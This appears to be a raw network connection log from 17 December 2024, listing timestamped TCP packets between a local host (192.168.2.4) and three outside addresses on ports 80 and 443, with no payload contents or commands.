Dec 17, 2024 22:06:37.901701927 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.901767015 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.901809931 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.902693987 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.902731895 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.902817011 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.902857065 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.903841019 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.903882980 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.903902054 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.903948069 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.904762983 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:37.904802084 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:37.975296021 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.975419998 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.975461960 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.975610971 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.975651026 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.975877047 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.975927114 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.976077080 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.976248026 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.976290941 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.976335049 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.976470947 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.976484060 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.976547003 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.976640940 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.976654053 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.976666927 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.976732969 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.976746082 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.976797104 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.976917028 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.976929903 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.976942062 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.977003098 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.977015972 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.977080107 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.977096081 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.977128983 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.977279902 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.977293968 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.977318048 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.977380037 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.977394104 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:37.977722883 CET	80	49836	104.154.220.71	192.168.2.4
Dec 17, 2024 22:06:38.041178942 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.041253090 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.041412115 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.041412115 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.041588068 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.041646004 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.041920900 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.041976929 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.042664051 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.042731047 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.042789936 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.042843103 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.043759108 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.043818951 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.043881893 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.043931007 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.044874907 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.044892073 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.044939041 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.044964075 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.045851946 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.045917034 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.045964956 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.046015024 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.046973944 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.047035933 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.047188044 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.047235012 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.048042059 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.048118114 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.048196077 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.048248053 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.049175978 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.049223900 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.049405098 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.049453974 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.050220966 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.050267935 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.050781965 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.050825119 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.051279068 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.051331043 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.051829100 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.051877975 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.051948071 CET	443	49837	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:38.052020073 CET	49837	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:38.052251101 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.052297115 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.053028107 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.053076029 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.053339005 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.053383112 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.053447962 CET	49837	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:38.053457022 CET	443	49837	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:38.053726912 CET	443	49837	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:38.053797960 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.053844929 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.054405928 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.054450989 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.054472923 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.054517031 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.055473089 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.055529118 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.055777073 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.055824041 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.056571007 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.056617975 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.057163954 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.057213068 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.057634115 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.057678938 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.057734013 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.057776928 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.058757067 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.058773994 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.058804989 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.058826923 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.059746027 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.059792995 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.059889078 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.059930086 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.060597897 CET	49837	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:38.060770035 CET	49837	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:38.060795069 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.060821056 CET	443	49837	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:38.060849905 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.060914040 CET	49837	443	192.168.2.4	172.67.209.202
Dec 17, 2024 22:06:38.060930967 CET	443	49837	172.67.209.202	192.168.2.4
Dec 17, 2024 22:06:38.060995102 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.061043024 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.061954021 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.062005043 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.062103987 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.062153101 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.062930107 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.062977076 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.063977003 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.064028025 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.064069033 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.064085960 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.064114094 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.064133883 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.065126896 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.065176964 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.065263033 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.065310001 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.066126108 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.066173077 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.066663980 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.066709995 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.067198992 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.067246914 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.067683935 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.067729950 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.068273067 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.068320036 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.068552017 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.068603039 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.069367886 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.069418907 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.069552898 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.069624901 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.070388079 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.070436001 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.070552111 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.070600033 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.071455002 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.071502924 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.071769953 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.071816921 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.072526932 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.072573900 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.072884083 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.072930098 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.073667049 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.073714972 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.074114084 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.074160099 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.074660063 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.074714899 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.075229883 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.075280905 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.075767994 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.075814962 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.076098919 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.076148033 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.076917887 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.076967955 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.077038050 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.077085972 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.077860117 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.077905893 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.077941895 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.077987909 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.078907967 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.078962088 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.078995943 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.079039097 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.079965115 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.080013990 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.080554962 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.080600977 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.081110954 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.081126928 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.081155062 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.081173897 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.082284927 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.082310915 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.082330942 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.082355976 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.083240032 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.083297014 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.083540916 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.083589077 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.084223032 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.084270000 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.084363937 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.084410906 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.085356951 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.085403919 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.085486889 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.085531950 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.086430073 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.086478949 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.086566925 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.086611986 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.087702036 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.087745905 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.087783098 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.087855101 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.088525057 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.088578939 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.088651896 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.088697910 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.089926958 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.089972973 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.090226889 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.090275049 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.091051102 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.091104031 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.091495037 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.091542006 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.091701031 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.091746092 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.091785908 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.091830969 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.092820883 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.092866898 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.093127966 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.093173981 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.093852997 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.093902111 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.093981028 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.094024897 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.094961882 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.095010042 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.095031023 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.095074892 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.096010923 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.096056938 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.096158028 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.096204042 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.097090960 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.097136974 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.233279943 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.233308077 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.233347893 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.233372927 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.233772039 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.233822107 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.234090090 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.234143019 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.234865904 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.234920979 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.234956026 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.235001087 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.235937119 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.235986948 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.236078978 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.236124039 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.237086058 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.237103939 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.237138987 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.237159967 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.238085985 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.238140106 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.238507032 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.238554955 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.239100933 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.239152908 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.239552975 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.239604950 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.240221024 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.240272999 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.240672112 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.240725040 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.241369009 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.241422892 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.242069006 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.242120028 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.242649078 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.242695093 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.242750883 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.242794991 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.243484020 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.243535042 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.243645906 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.243726015 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.244509935 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.244565964 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.244632006 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.244676113 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.245532990 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.245587111 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.245659113 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.245702028 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.246614933 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.246665955 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.246958971 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.247005939 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.247709036 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.247759104 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.247819901 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.247864008 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.248820066 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.248869896 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.249506950 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.249557018 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.249735117 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.249779940 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.249950886 CET	80	49825	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:38.249999046 CET	49825	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:38.250833035 CET	80	49825	31.41.244.11	192.168.2.4
